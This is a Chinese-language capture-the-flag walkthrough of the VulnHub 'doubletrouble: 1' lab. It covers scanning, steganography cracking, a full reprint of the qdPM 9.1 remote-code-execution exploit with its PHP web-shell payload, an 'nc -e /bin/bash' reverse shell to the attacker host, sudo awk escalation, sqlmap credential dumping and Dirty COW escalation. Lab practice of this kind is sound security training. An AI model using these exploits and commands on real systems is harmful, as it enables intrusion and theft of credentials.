下载地址:https://www.vulnhub.com/entry/
doubletrouble-1,743/
选择镜像文件进行下载。下载后解压是一个ovf文件,在虚拟机中选择-打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。
文件名:doubletrouble.ova
文件大小:979 MB
MD5: F56544B46DC149ECA71F948E9F10772F
SHA1: B17C92DF8F73E391AFC90EA583243566DF3381EC
未探测出IP地址,需要重新配置。
1. 设置虚拟机网络为 NAT 模式
在 VMware 中,将 Kali Linux 和 靶机 都设置为 NAT 模式,以确保它们能通过宿主机共享网络连接。
2. 启动靶机并进入单用户模式
启动靶机,在出现蓝色引导界面时,按下 e 键进入编辑模式(若无法进入编辑模式,长按shift进入引导页面再按e进入)。
3. 修改启动参数
在编辑界面中,找到并修改启动项,将包含的 ro(只读)修改为 rw(读写),并且在参数末尾添加signie init=/bin/bash,使其进入单用户模式。
这样修改后,按下 Ctrl + X 启动系统。
4. 查看网络状态
进入单用户模式后,使用 ifconfig 命令查看网络状况,发现系统提示 ifconfig 命令不可用。
切换使用 ip address 命令来查看网络接口的状态。
5. 修改网卡名称
发现网络接口的名称为 enp0s3,需要将其修改为 ens33。
进入网络配置文件进行修改:
nano /etc/network/interfaces
(路径记忆方法:/etc 配置文件部分 -> network 部分 -> interfaces 配置文件部分 -> 网络接口部分)
6. 保存并退出
在nano编辑器中,修改完成后按Ctrl+O键保存,随后按下回车。按Ctrl+x退出编辑器。
7. 重启网络服务
修改网络配置后,重启网络服务:
/etc/init.d/networking restart
8. 检查 IP 配置
再次使用 ip address 命令查看,确认网络接口已分配到正确的 IP 地址。
9. 完成配置并重启系统
完成网络配置后,进行系统关机并重启。注意: 必须关机重启,而不是仅仅重启网络服务,因为有些端口可能尚未打开,只有重启系统后,端口才会完全生效。
获取root权限,共有两个靶机需要提权。第一个靶机中权限提升获得一个OVA文件。下载后使用虚拟机打开后进行渗透测试攻击,获取root权限,共有两个flag。
clapton用户-user.txt:6CEA7A737C7C651F6DA7669109B5FB52clapton@doubletrouble
root用户-root.txt:1B8EEA89EA92CECB931E3CC25AA8DE21firefart@doubletrouble
确定IP地址、端口扫描、网站访问、目录扫描、查看图片隐藏信息。
使用nmap确定该靶场IP地址,地址为:192.168.241.177。
namp -sP 192.168.241.0/24
使用nmap进行端口扫描,发现其开放22和80端口。
22端口开放SSH服务,OpenSSH 7.9p1;80端口开放HTTP服务,Apache httpd 2.4.38。
nmap -sV -v -T4 -A -p- 192.168.241.177
访问80端口,发现是qdPM登录框,该版本框架为9.1。在之前靶场(ICA:1靶场渗透测试)中遇到过9.2版本的漏洞。
http://192.168.241.177
经过扫描,发现以下页面等其他页面可以访问。
/backups、/check.php、/images/、/index.php、/install/、readme.txt、/robots.txt、/secret/、/template/
dirsearch -u http://192.168.241.177
经过逐一访问,发现/secret地址下发现一张图片。
将图片下载到本地,查看图片隐藏信息。
【steghide info doubletrouble.jpg 】
发现需要输入密码,那就换隐写爆破工具。
经过爆破,发现了用户名和密码信息。
stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt
cat doubletrouble.jpg.out
账密为:
otisrush .com
otis666
查阅kali Linux本地漏洞库、执行脚本反弹shell、创建伪终端。
在kali Linux本地漏洞库查找可利用漏洞。
这里我们选择qdPM 9.1 - Remote Code Execution (Authenticated)的exp,脚本位置为/usr/share/exploitdb/exploits/php/webapps/50175.py。
searchsploit qdPM
python /usr/share/exploitdb/exploits/php/webapps/50175.py -url http://192.168.241.177 -u otisrush .com -p otis666
执行后发现有报错,经过排查,发现是因为部分代码应该是一行,不应该分行。
对代码多次修改后,最终代码如下:
# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution
#!/usr/bin/python3
import sys
import requests
from lxml import html
from argparse import ArgumentParser
session_requests = requests.session()
def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):
request_1 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, uservar),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[remove_photo]': (None, '1'),
}
return request_1
def req(userid, username, csrftoken_, EMAIL, HOSTNAME):
request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,
'.htaccess')
new = session_requests.post(HOSTNAME + 'index.php/myAccount/update',
files=request_1)
request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,
'../.htaccess')
new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update',
files=request_2)
request_3 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, ''),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[photo]': ('backdoor.php',
'<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>' , 'application/octet-stream'),
}
upload_req = session_requests.post(HOSTNAME +
'index.php/myAccount/update', files=request_3)
def main(HOSTNAME, EMAIL, PASSWORD):
url = HOSTNAME + '/index.php/login'
result = session_requests.get(url)
#print(result.text)
login_tree = html.fromstring(result.text)
authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]
payload = {'login[email]': EMAIL, 'login ': PASSWORD, 'login[_csrf_token]': authenticity_token}
result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))
# The designated admin account does not have a myAccount page
account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')
account_tree = html.fromstring(account_page.content)
userid = account_tree.xpath("//input[@name='users[id]']/@value")
username = account_tree.xpath("//input[@name='users[name]']/@value")
csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
req(userid, username, csrftoken_, EMAIL, HOSTNAME)
get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
final_tree = html.fromstring(get_file.content)
backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")
print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' +
backdoor[-1] + '?cmd=whoami')
if __name__ == '__main__':
print("You are not able to use the designated admin account because they do not have a myAccount page.n")
parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')
parser.add_argument('-url', '--host', dest='hostname', help='Project URL')
parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')
parser.add_argument('-p', '--password', dest='password', help='User password')
args = parser.parse_args()
# Added detection if the arguments are passed and populated, if not display the arguments
if (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):
main(args.hostname, args.email, args.password)
else:
parser.print_help()
执行脚本,文件上传成功,并给出访问地址。
python /usr/share/exploitdb/exploits/php/webapps/50175.py -url http://192.168.241.177 -u otisrush .com -p otis666
http://192.168.241.177//uploads/users/?cmd=whoami
访问上传的php文件,执行反弹命令,反弹shell成功。
http://192.168.241.177//uploads/users/669444-backdoor.php?cmd=nc%20-e%20/bin/bash%20192.168.241.138%209876
nc -lvvp 9876
通过Python启动一个/bin/bash的伪终端。
python3 -c "import pty;pty.spawn('/bin/bash')"
使用sudo -l查看权限、命令执行、发现一个虚拟机文件。
使用sudo -l查看该用户是否具有sudo权限,发现awk可以进行无密码使用sudo操作。
sudo -l
在gtfobins.githun.io网站查询awk命令的提权方式进行提权。
使用以下命令进行提权,提权成功。
sudo awk 'BEGIN {system("/bin/sh")}'
经过查找,在root用户目录下,发现一个OVA文件,这是一个新的靶机。
开启临时http服务,下载该靶机到本地。并导入VMware Workstation。
确定IP地址、端口扫描、网站访问、目录扫描。
使用nmap确定该靶场IP地址,地址为:192.168.241.178。
namp -sP 192.168.241.0/24
使用nmap进行端口扫描,发现只开放了22和80端口。
22端口开放SSH服务,OpenSSH 6.0p1;80端口开放HTTP服务,Apache httpd 2.2.22。
nmap -sV -v -T4 -A -p- 192.168.241.178
访问80端口,发现是一个登录框,查看源码信息并未发现有用信息。
经过扫描,并未发现什么有用信息。
dirsearch -u http://192.168.241.178
SQL注入、网站登录、SSH远程连接、获得第一个flag、使用sudo -l查看权限、查看系统信息。
经过排查,就只有一个登录框,而这个登录框相对简陋,我们尝试进行SQL注入。
sqlmap.py -u http://192.168.241.178/index.php -forms --batch --dbs
得到数据库为:doubletrouble、information_schema。
继续爆破,得到数据库douletrouble的表名为users。
sqlmap.py -u http://192.168.241.178/index.php -forms --batch -D doubletrouble --tables
继续爆破,得到users表的列名为:password、username
sqlmap.py -u http://192.168.241.178/index.php -forms --batch -D doubletrouble -T users --columns
继续爆破,查看看表详细内容,得到两组用户名和密码。
sqlmap.py -u http://192.168.241.178/index.php -forms --batch -D doubletrouble -T users -C username,password --dump
+----------+----------+
| username | password |
+----------+----------+
| montreux | GfsZxc1 |
| clapton | ZubZub99 |
+----------+----------+
经过尝试,两个用户均无法登录此网站。
经过测试,montreux用户连接失败,clapton用户连接成功,进入终端。
user.txt:6CEA7A737C7C651F6DA7669109B5FB52clapton@doubletrouble
使用sudo -l查看该用户是否具有sudo权限,直接没有……0!!!
发现系统内核版本是Linux3.2,有脏牛提权漏洞。该漏洞影响Linux2.6.22版本至4.6版本的所有Linux系统。
uname -a
下载exp、上传文件到靶机、编译执行、切换firefart用户、获得第二个flag。
https://github.com/firefart/dirtycow/blob/master/dirty.c
访问该地址,复制文件代码内容,保存到kali Linux。
开启临时http服务,将该文件上传到靶机。
编译命令:gcc -pthread dirty.c -o dirty -lcrypt
执行命令:./dirty root
切换用户,密码为root。(在上述步骤执行./dirty root命令后,即可看到密码提示为root。)
su firefart
root
切换到root用户目录下,发现第二个flag。
root.txt:1B8EEA89EA92CECB931E3CC25AA8DE21firefart@doubletrouble
免责声明
本公众号“暗魂攻防实验室”致力于分享网络安全相关知识及资讯,所有内容仅供学习和交流使用,不得用于任何非法用途。由于传播、利用本公众号“暗魂攻防实验室”所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任!!!
以下为本公众号声明内容,请知悉并遵守:
1.关于信息的准确性
本公众号所发布的信息均来源于公开渠道或作者整理,仅供参考,不保证内容的绝对准确性、完整性和时效性。使用者在依赖相关内容前,应独立核实信息的真实性和适用性。
2.法律与合规性
使用者应严格遵守国家相关法律法规,确保所有操作仅用于合法用途。本公众号明确禁止任何利用内容进行非法活动的行为,由此产生的后果由使用者自行承担,本公众号及作者不承担任何责任。
3.版权声明
本公众号部分内容如引用了他人作品或资源,均已标注来源或作者。如有侵权,请及时联系我们,我们将在核实后立即删除并致以歉意。
4.合法用途限制
本公众号内容仅供参考,任何利用本公众号内容从事违法行为的后果均由使用者自行承担,本公众号及作者对此不承担任何责任。
5.风险告知
因使用或传播本公众号内容导致的直接或间接后果(如系统损坏、数据丢失、法律责任等),均由使用者自行承担。本公众号及作者对此不承担任何责任。
暗魂攻防实验室
官方客服
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】doubletrouble: 1靶场渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论